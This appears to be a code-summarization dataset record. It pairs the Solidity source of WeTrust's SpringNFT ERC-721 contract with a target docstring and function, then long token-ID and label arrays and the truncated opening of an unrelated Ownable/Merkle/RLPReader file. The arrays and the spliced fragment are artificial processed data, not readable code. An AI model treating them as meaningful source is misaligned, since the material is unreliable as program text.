/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256);
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256);
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256);
}
/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
/// Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface ERC721Metadata /* is ERC721 */ {
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string _name);
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string _symbol);
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string);
}
/// @dev Note: the ERC-165 identifier for this interface is 0x150b7a02.
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _operator The address which called `safeTransferFrom` function
/// @param _from The address which previously owned the token
/// @param _tokenId The NFT identifier which is being transferred
/// @param _data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4);
}
/**
* @dev Implementation of standard for detect smart contract interfaces.
*/
contract SupportsInterface {
/**
* @dev Mapping of supported intefraces.
* @notice You must not set element 0xffffffff to true.
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev Contract constructor.
*/
constructor()
public
{
supportedInterfaces[0x01ffc9a7] = true; // ERC165
}
/**
* @dev Function to check which interfaces are suported by this contract.
* @param _interfaceID Id of the interface.
*/
function supportsInterface(
bytes4 _interfaceID
)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
}
/**
* @dev Utility library of inline functions on addresses.
*/
library AddressUtils {
/**
* @dev Returns whether the target address is a contract.
* @param _addr Address to check.
*/
function isContract(
address _addr
)
internal
view
returns (bool)
{
uint256 size;
/**
* XXX Currently there is no better way to check if there is a contract in an address than to
* check the size of the code at that address.
* See https://ethereum.stackexchange.com/a/14016/36603 for more details about how this works.
* TODO: Check this again before the Serenity release, because all addresses will be
* contracts then.
*/
assembly { size := extcodesize(_addr) } // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
/**
* @dev Implementation of ERC-721 non-fungible token standard specifically for WeTrust Spring.
*/
contract NFToken is ERC721, SupportsInterface, ERC721Metadata, ERC721Enumerable {
using AddressUtils for address;
///////////////////////////
// Constants
//////////////////////////
/**
* @dev Magic value of a smart contract that can recieve NFT.
* Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")).
*/
bytes4 constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
//////////////////////////
// Events
//////////////////////////
/**
* @dev Emits when ownership of any NFT changes by any mechanism. This event emits when NFTs are
* created (`from` == 0) and destroyed (`to` == 0). Exception: during contract creation, any
* number of NFTs may be created and assigned without emitting Transfer. At the time of any
* transfer, the approved address for that NFT (if any) is reset to none.
* @param _from Sender of NFT (if address is zero address it indicates token creation).
* @param _to Receiver of NFT (if address is zero address it indicates token destruction).
* @param _tokenId The NFT that got transfered.
*/
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
/**
* @dev This emits when the approved address for an NFT is changed or reaffirmed. The zero
* address indicates there is no approved address. When a Transfer event emits, this also
* indicates that the approved address for that NFT (if any) is reset to none.
* @param _owner Owner of NFT.
* @param _approved Address that we are approving.
* @param _tokenId NFT which we are approving.
*/
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
/**
* @dev This emits when an operator is enabled or disabled for an owner. The operator can manage
* all NFTs of the owner.
* @param _owner Owner of NFT.
* @param _operator Address to which we are setting operator rights.
* @param _approved Status of operator rights(true if operator rights are given and false if
* revoked).
*/
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
////////////////////////////////
// Modifiers
///////////////////////////////
/**
* @dev Guarantees that the msg.sender is an owner or operator of the given NFT.
* @param _tokenId ID of the NFT to validate.
*/
modifier canOperate(uint256 _tokenId) {
address tokenOwner = nft[_tokenId].owner;
require(tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender], "Sender is not an authorized operator of this token");
_;
}
/**
* @dev Guarantees that the msg.sender is allowed to transfer NFT.
* @param _tokenId ID of the NFT to transfer.
*/
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = nft[_tokenId].owner;
require(
tokenOwner == msg.sender ||
getApproved(_tokenId) == msg.sender || ownerToOperators[tokenOwner][msg.sender],
"Sender does not have permission to transfer this Token");
_;
}
/**
* @dev Check to make sure the address is not zero address
* @param toTest The Address to make sure it's not zero address
*/
modifier onlyNonZeroAddress(address toTest) {
require(toTest != address(0), "Address must be non zero address");
_;
}
/**
* @dev Guarantees that no owner exists for the nft
* @param nftId NFT to test
*/
modifier noOwnerExists(uint256 nftId) {
require(nft[nftId].owner == address(0), "Owner must not exist for this token");
_;
}
/**
* @dev Guarantees that an owner exists for the nft
* @param nftId NFT to test
*/
modifier ownerExists(uint256 nftId) {
require(nft[nftId].owner != address(0), "Owner must exist for this token");
_;
}
///////////////////////////
// Storage Variable
//////////////////////////
/**
* @dev name of the NFT
*/
string nftName = "WeTrust Nifty";
/**
* @dev NFT symbol
*/
string nftSymbol = "SPRN";
/**
* @dev hostname to be used as base for tokenURI
*/
string public hostname = "https://spring.wetrust.io/shiba/";
/**
* @dev A mapping from NFT ID to the address that owns it.
*/
mapping (uint256 => NFT) public nft;
/**
* @dev List of NFTs
*/
uint256[] nftList;
/**
* @dev Mapping from owner address to count of his tokens.
*/
mapping (address => uint256[]) internal ownerToTokenList;
/**
* @dev Mapping from owner address to mapping of operator addresses.
*/
mapping (address => mapping (address => bool)) internal ownerToOperators;
struct NFT {
address owner;
address approval;
bytes32 traits;
uint16 edition;
bytes4 nftType;
bytes32 recipientId;
uint256 createdAt;
}
////////////////////////////////
// Public Functions
///////////////////////////////
/**
* @dev Contract constructor.
*/
constructor() public {
supportedInterfaces[0x780e9d63] = true; // ERC721Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721MetaData
supportedInterfaces[0x80ac58cd] = true; // ERC721
}
/**
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
* considered invalid, and this function throws for queries about the zero address.
* @param _owner Address for whom to query the balance.
*/
function balanceOf(address _owner) onlyNonZeroAddress(_owner) public view returns (uint256) {
return ownerToTokenList[_owner].length;
}
/**
* @dev Returns the address of the owner of the NFT. NFTs assigned to zero address are considered
* invalid, and queries about them do throw.
* @param _tokenId The identifier for an NFT.
*/
function ownerOf(uint256 _tokenId) ownerExists(_tokenId) external view returns (address _owner) {
return nft[_tokenId].owner;
}
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
* function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received`
* on `_to` and throws if the return value is not `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
* @param _data Additional data with no specified format, sent in call to `_to`.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
/**
* @dev Transfers the ownership of an NFT from one address to another address.
* @notice This works identically to the other function with an extra data parameter, except this
* function just sets data to ""
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external {
_safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
* address. Throws if `_tokenId` is not a valid NFT.
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
* they maybe be permanently lost.
* @param _from The current owner of the NFT.
* @param _to The new owner.
* @param _tokenId The NFT to transfer.
*/
function transferFrom(address _from, address _to, uint256 _tokenId)
onlyNonZeroAddress(_to)
canTransfer(_tokenId)
ownerExists(_tokenId)
external
{
address tokenOwner = nft[_tokenId].owner;
require(tokenOwner == _from, "from address must be owner of tokenId");
_transfer(_to, _tokenId);
}
/**
* @dev Set or reaffirm the approved address for an NFT.
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
* the current NFT owner, or an authorized operator of the current owner.
* @param _approved Address to be approved for the given NFT ID.
* @param _tokenId ID of the token to be approved.
*/
function approve(address _approved, uint256 _tokenId)
canOperate(_tokenId)
ownerExists(_tokenId)
external
{
address tokenOwner = nft[_tokenId].owner;
require(_approved != tokenOwner, "approved address cannot be owner of the token");
nft[_tokenId].approval = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
/**
* @dev Enables or disables approval for a third party ("operator") to manage all of
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
* @notice This works even if sender doesn't own any tokens at the time.
* @param _operator Address to add to the set of authorized operators.
* @param _approved True if the operators is approved, false to revoke approval.
*/
function setApprovalForAll(address _operator, bool _approved)
onlyNonZeroAddress(_operator)
external
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev Get the approved address for a single NFT.
* @notice Throws if `_tokenId` is not a valid NFT.
* @param _tokenId ID of the NFT to query the approval of.
*/
function getApproved(uint256 _tokenId)
ownerExists(_tokenId)
public view returns (address)
{
return nft[_tokenId].approval;
}
/**
* @dev Checks if `_operator` is an approved operator for `_owner`.
* @param _owner The address that owns the NFTs.
* @param _operator The address that acts on behalf of the owner.
*/
function isApprovedForAll(address _owner, address _operator)
onlyNonZeroAddress(_owner)
onlyNonZeroAddress(_operator)
external view returns (bool)
{
return ownerToOperators[_owner][_operator];
}
/**
* @dev return token list of owned by the owner
* @param owner The address that owns the NFTs.
*/
function getOwnedTokenList(address owner) view public returns(uint256[] tokenList) {
return ownerToTokenList[owner];
}
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string _name) {
return nftName;
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string _symbol) {
return nftSymbol;
}
/// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
/// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
/// 3986. The URI may point to a JSON file that conforms to the "ERC721
/// Metadata JSON Schema".
function tokenURI(uint256 _tokenId) external view returns (string) {
return appendUintToString(hostname, _tokenId);
}
/// @notice Count NFTs tracked by this contract
/// @return A count of valid NFTs tracked by this contract, where each one of
/// them has an assigned and queryable owner not equal to the zero address
function totalSupply() external view returns (uint256) {
return nftList.length;
}
/// @notice Enumerate valid NFTs
/// @dev Throws if `_index` >= `totalSupply()`.
/// @param _index A counter less than `totalSupply()`
/// @return The token identifier for the `_index`th NFT,
/// (sort order not specified)
function tokenByIndex(uint256 _index) external view returns (uint256) {
require(_index < nftList.length, "index out of range");
return nftList[_index];
}
/// @notice Enumerate NFTs assigned to an owner
/// @dev Throws if `_index` >= `balanceOf(_owner)` or if
/// `_owner` is the zero address, representing invalid NFTs.
/// @param _owner An address where we are interested in NFTs owned by them
/// @param _index A counter less than `balanceOf(_owner)`
/// @return The token identifier for the `_index`th NFT assigned to `_owner`,
/// (sort order not specified)
function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) {
require(_index < balanceOf(_owner), "index out of range");
return ownerToTokenList[_owner][_index];
}
/////////////////////////////
// Private Functions
////////////////////////////
/**
* @dev append uint to the end of string
* @param inStr input string
* @param v uint value v
* credit goes to : https://ethereum.stackexchange.com/questions/10811/solidity-concatenate-uint-into-a-string
*/
function appendUintToString(string inStr, uint v) pure internal returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
/**
* @dev Actually preforms the transfer.
* @notice Does NO checks.
* @param _to Address of a new owner.
* @param _tokenId The NFT that is being transferred.
*/
function _transfer(address _to, uint256 _tokenId) private {
address from = nft[_tokenId].owner;
clearApproval(_tokenId);
removeNFToken(from, _tokenId);
addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
function _safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data)
onlyNonZeroAddress(_to)
canTransfer(_tokenId)
ownerExists(_tokenId)
internal
{
address tokenOwner = nft[_tokenId].owner;
require(tokenOwner == _from, "from address must be owner of tokenId");
_transfer(_to, _tokenId);
if (_to.isContract()) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
require(retval == MAGIC_ON_ERC721_RECEIVED, "reciever contract did not return the correct return value");
}
}
/**
* @dev Clears the current approval of a given NFT ID.
* @param _tokenId ID of the NFT to be transferred.
*/
function clearApproval(uint256 _tokenId) private {
if(nft[_tokenId].approval != address(0))
{
delete nft[_tokenId].approval;
}
}
/**
* @dev Removes a NFT from owner.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _from Address from wich we want to remove the NFT.
* @param _tokenId Which NFT we want to remove.
*/
function removeNFToken(address _from, uint256 _tokenId) internal {
require(nft[_tokenId].owner == _from, "from address must be owner of tokenId");
uint256[] storage tokenList = ownerToTokenList[_from];
assert(tokenList.length > 0);
for (uint256 i = 0; i < tokenList.length; i++) {
if (tokenList[i] == _tokenId) {
tokenList[i] = tokenList[tokenList.length - 1];
delete tokenList[tokenList.length - 1];
tokenList.length--;
break;
}
}
delete nft[_tokenId].owner;
}
/**
* @dev Assignes a new NFT to owner.
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
* @param _to Address to wich we want to add the NFT.
* @param _tokenId Which NFT we want to add.
*/
function addNFToken(address _to, uint256 _tokenId)
noOwnerExists(_tokenId)
internal
{
nft[_tokenId].owner = _to;
ownerToTokenList[_to].push(_tokenId);
}
}
//@dev Implemention of NFT for WeTrust Spring
contract SpringNFT is NFToken{
//////////////////////////////
// Events
/////////////////////////////
event RecipientUpdate(bytes32 indexed recipientId, bytes32 updateId);
//////////////////////////////
// Modifiers
/////////////////////////////
/**
* @dev Guarrentees that recipient Exists
* @param id receipientId to check
*/
modifier recipientExists(bytes32 id) {
require(recipients[id].exists, "Recipient Must exist");
_;
}
/**
* @dev Guarrentees that recipient does not Exists
* @param id receipientId to check
*/
modifier recipientDoesNotExists(bytes32 id) {
require(!recipients[id].exists, "Recipient Must not exists");
_;
}
/**
* @dev Guarrentees that msg.sender is wetrust owned signer address
*/
modifier onlyByWeTrustSigner() {
require(msg.sender == wetrustSigner, "sender must be from WeTrust Signer Address");
_;
}
/**
* @dev Guarrentees that msg.sender is wetrust owned manager address
*/
modifier onlyByWeTrustManager() {
require(msg.sender == wetrustManager, "sender must be from WeTrust Manager Address");
_;
}
/**
* @dev Guarrentees that msg.sender is either wetrust recipient
* @param id receipientId to check
*/
modifier onlyByWeTrustOrRecipient(bytes32 id) {
require(msg.sender == wetrustSigner || msg.sender == recipients[id].owner, "sender must be from WeTrust or Recipient's owner address");
_;
}
/**
* @dev Guarrentees that contract is not in paused state
*/
modifier onlyWhenNotPaused() {
require(!paused, "contract is currently in paused state");
_;
}
//////////////////////////////
// Storage Variables
/////////////////////////////
/**
* @dev wetrust controlled address that is used to create new NFTs
*/
address public wetrustSigner;
/**
*@dev wetrust controlled address that is used to switch the signer address
*/
address public wetrustManager;
/**
* @dev if paused is true, suspend most of contract's functionality
*/
bool public paused;
/**
* @dev mapping of recipients from WeTrust Spring platform
*/
mapping(bytes32 => Recipient) public recipients;
/**
* @dev mapping to a list of updates made by recipients
*/
mapping(bytes32 => Update[]) public recipientUpdates;
/**
* @dev Stores the Artist signed Message who created the NFT
*/
mapping (uint256 => bytes) public nftArtistSignature;
struct Update {
bytes32 id;
uint256 createdAt;
}
struct Recipient {
string name;
string url;
address owner;
uint256 nftCount;
bool exists;
}
//////////////////////////////
// Public functions
/////////////////////////////
/**
* @dev contract constructor
*/
constructor (address signer, address manager) NFToken() public {
wetrustSigner = signer;
wetrustManager = manager;
}
/**
* @dev Create a new NFT
* @param tokenId create new NFT with this tokenId
* @param receiver the owner of the new NFT
* @param recipientId The issuer of the NFT
* @param traits NFT Traits
* @param nftType Type of the NFT
*/
function createNFT(
uint256 tokenId,
address receiver,
bytes32 recipientId,
bytes32 traits,
bytes4 nftType)
noOwnerExists(tokenId)
onlyByWeTrustSigner
onlyWhenNotPaused public
{
mint(tokenId, receiver, recipientId, traits, nftType);
}
/**
* @dev Allows anyone to redeem a token by providing a signed Message from Spring platform
* @param signedMessage A signed Message containing the NFT parameter from Spring platform
* The Signed Message must be concatenated in the following format
* - address to (the smart contract address)
* - uint256 tokenId
* - bytes4 nftType
* - bytes32 traits
* - bytes32 recipientId
* - bytes32 r of Signature
* - bytes32 s of Signature
* - uint8 v of Signature
*/
function redeemToken(bytes signedMessage) onlyWhenNotPaused public {
address to;
uint256 tokenId;
bytes4 nftType;
bytes32 traits;
bytes32 recipientId;
bytes32 r;
bytes32 s;
byte vInByte;
uint8 v;
string memory prefix = "\x19Ethereum Signed Message:\n32";
assembly {
to := mload(add(signedMessage, 32))
tokenId := mload(add(signedMessage, 64))
nftType := mload(add(signedMessage, 96)) // first 32 bytes are data padding
traits := mload(add(signedMessage, 100))
recipientId := mload(add(signedMessage, 132))
r := mload(add(signedMessage, 164))
s := mload(add(signedMessage, 196))
vInByte := mload(add(signedMessage, 228))
}
require(to == address(this), "This signed Message is not meant for this smart contract");
v = uint8(vInByte);
if (v < 27) {
v += 27;
}
require(nft[tokenId].owner == address(0), "This token has been redeemed already");
bytes32 msgHash = createRedeemMessageHash(tokenId, nftType, traits, recipientId);
bytes32 preFixedMsgHash = keccak256(
abi.encodePacked(
prefix,
msgHash
));
address signer = ecrecover(preFixedMsgHash, v, r, s);
require(signer == wetrustSigner, "WeTrust did not authorized this redeem script");
return mint(tokenId, msg.sender, recipientId, traits, nftType);
}
/**
* @dev Add a new reciepient of WeTrust Spring
* @param recipientId Unique identifier of receipient
* @param name of the Recipient
* @param url link to the recipient's website
* @param owner Address owned by the recipient
*/
function addRecipient(bytes32 recipientId, string name, string url, address owner)
onlyByWeTrustSigner
onlyWhenNotPaused
recipientDoesNotExists(recipientId)
public
{
require(bytes(name).length > 0, "name must not be empty string"); // no empty string
recipients[recipientId].name = name;
recipients[recipientId].url = url;
recipients[recipientId].owner = owner;
recipients[recipientId].exists = true;
}
/**
* @dev Add an link to the update the recipient had made
* @param recipientId The issuer of the update
* @param updateId unique id of the update
*/
function addRecipientUpdate(bytes32 recipientId, bytes32 updateId)
onlyWhenNotPaused
recipientExists(recipientId)
onlyByWeTrustOrRecipient(recipientId)
public
{
recipientUpdates[recipientId].push(Update(updateId, now));
emit RecipientUpdate(recipientId, updateId);
}
/**
* @dev Change recipient information
* @param recipientId to change
* @param name new name of the recipient
* @param url new link of the recipient
* @param owner new address owned by the recipient
*/
function updateRecipientInfo(bytes32 recipientId, string name, string url, address owner)
onlyByWeTrustSigner
onlyWhenNotPaused
recipientExists(recipientId)
public
{
require(bytes(name).length > 0, "name must not be empty string"); // no empty string
recipients[recipientId].name = name;
recipients[recipientId].url = url;
recipients[recipientId].owner = owner;
}
/**
* @dev add a artist signed message for a particular NFT
* @param nftId NFT to add the signature to
* @param artistSignature Artist Signed Message
*/
function addArtistSignature(uint256 nftId, bytes artistSignature) onlyByWeTrustSigner onlyWhenNotPaused public {
require(nftArtistSignature[nftId].length == 0, "Artist Signature already exist for this token"); // make sure no prior signature exists
nftArtistSignature[nftId] = artistSignature;
}
/**
* @dev Set whether or not the contract is paused
* @param _paused status to put the contract in
*/
function setPaused(bool _paused) onlyByWeTrustManager public {
paused = _paused;
}
/**
* @dev Transfer the WeTrust signer of NFT contract to a new address
* @param newAddress new WeTrust owned address
*/
function changeWeTrustSigner(address newAddress) onlyWhenNotPaused onlyByWeTrustManager public {
wetrustSigner = newAddress;
}
/**
* @dev Returns the number of updates recipients had made
* @param recipientId receipientId to check
*/
function getUpdateCount(bytes32 recipientId) view public returns(uint256 count) {
return recipientUpdates[recipientId].length;
}
/**
* @dev returns the message hash to be signed for redeem token
* @param tokenId id of the token to be created
* @param nftType Type of NFT to be created
* @param traits Traits of NFT to be created
* @param recipientId Issuer of the NFT
*/
function createRedeemMessageHash(
uint256 tokenId,
bytes4 nftType,
bytes32 traits,
bytes32 recipientId)
view public returns(bytes32 msgHash)
{
return keccak256(
abi.encodePacked(
address(this),
tokenId,
nftType,
traits,
recipientId
));
}
/**
* @dev Determines the edition of the NFT
* formula used to determine edition Size given the edition Number:
* f(x) = min(300x + 100, 5000)
* using equation: g(x) = 150x^2 - 50x + 1 if x <= 16
* else g(x) = 5000(x-16) - g(16)
* maxEdition = 5000
* @param nextNFTcount to determine edition for
*/
function determineEdition(uint256 nextNFTcount) pure public returns (uint16 edition) {
uint256 output;
uint256 valueWhenXisSixteen = 37601; // g(16)
if (nextNFTcount < valueWhenXisSixteen) {
output = (sqrt(2500 + (600 * (nextNFTcount - 1))) + 50) / 300;
} else {
output = ((nextNFTcount - valueWhenXisSixteen) / 5000) + 16;
}
if (output > 5000) {
output = 5000;
}
edition = uint16(output); // we don't have to worry about casting because output will always be less than or equal to 5000
}
/**
* @dev set new host name for this nft contract
* @param newHostName new host name to use
*/
function setNFTContractInfo(string newHostName, string newName, string newSymbol) onlyByWeTrustManager external {
hostname = newHostName;
nftName = newName;
nftSymbol = newSymbol;
}
//////////////////////////
// Private Functions
/////////////////////////
/**
* @dev Find the Square root of a number
* @param x input
* Credit goes to: https://ethereum.stackexchange.com/questions/2910/can-i-square-root-in-solidity
*/
function sqrt(uint x) pure internal returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/**
* @dev Add the new NFT to the storage
* @param receiver the owner of the new NFT
* @param recipientId The issuer of the NFT
* @param traits NFT Traits
* @param nftType Type of the NFT
*/
function mint(uint256 tokenId, address receiver, bytes32 recipientId, bytes32 traits, bytes4 nftType)
recipientExists(recipientId)
internal
{
nft[tokenId].owner = receiver;
nft[tokenId].traits = traits;
nft[tokenId].recipientId = recipientId;
nft[tokenId].nftType = nftType;
nft[tokenId].createdAt = now;
nft[tokenId].edition = determineEdition(recipients[recipientId].nftCount + 1);
recipients[recipientId].nftCount++;
ownerToTokenList[receiver].push(tokenId);
nftList.push(tokenId);
emit Transfer(address(0), receiver, tokenId);
}
}
|
@notice An abbreviated name for NFTs in this contract
|
function symbol() external view returns (string _symbol) {
return nftSymbol;
}
| 2,559,287 |
[
1,
979,
23217,
508,
364,
423,
4464,
87,
316,
333,
6835,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
3273,
1435,
3903,
1476,
1135,
261,
1080,
389,
7175,
13,
288,
203,
3639,
327,
290,
1222,
5335,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
// File: default_workspace/contracts/Ownable.sol
pragma solidity ^0.8.10;
error NotOwner();
// https://github.com/m1guelpf/erc721-drop/blob/main/src/LilOwnable.sol
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(_owner == msg.sender);
_;
}
constructor() {
_owner = msg.sender;
}
function owner() external view returns (address) {
return _owner;
}
function transferOwnership(address _newOwner) external {
if (msg.sender != _owner) revert NotOwner();
_owner = _newOwner;
}
function renounceOwnership() public {
if (msg.sender != _owner) revert NotOwner();
_owner = address(0);
}
function supportsInterface(bytes4 interfaceId)
public
pure
virtual
returns (bool)
{
return interfaceId == 0x7f5828d0; // ERC165 Interface ID for ERC173
}
}
// File: default_workspace/contracts/lib/Merkle.sol
pragma solidity ^0.8.0;
library Merkle {
function checkMembership(
bytes32 leaf,
uint256 index,
bytes32 rootHash,
bytes memory proof
) internal pure returns (bool) {
require(proof.length % 32 == 0, "Invalid proof length");
uint256 proofHeight = proof.length / 32;
// Proof of size n means, height of the tree is n+1.
// In a tree of height n+1, max #leafs possible is 2 ^ n
require(index < 2**proofHeight, "Leaf index is too big");
bytes32 proofElement;
bytes32 computedHash = leaf;
for (uint256 i = 32; i <= proof.length; i += 32) {
assembly {
proofElement := mload(add(proof, i))
}
if (index % 2 == 0) {
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
index = index / 2;
}
return computedHash == rootHash;
}
}
// File: default_workspace/contracts/lib/RLPReader.sol
/*
* @author Hamdi Allam [email protected]
* Please reach out with any questions or concerns
*/
pragma solidity ^0.8.0;
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
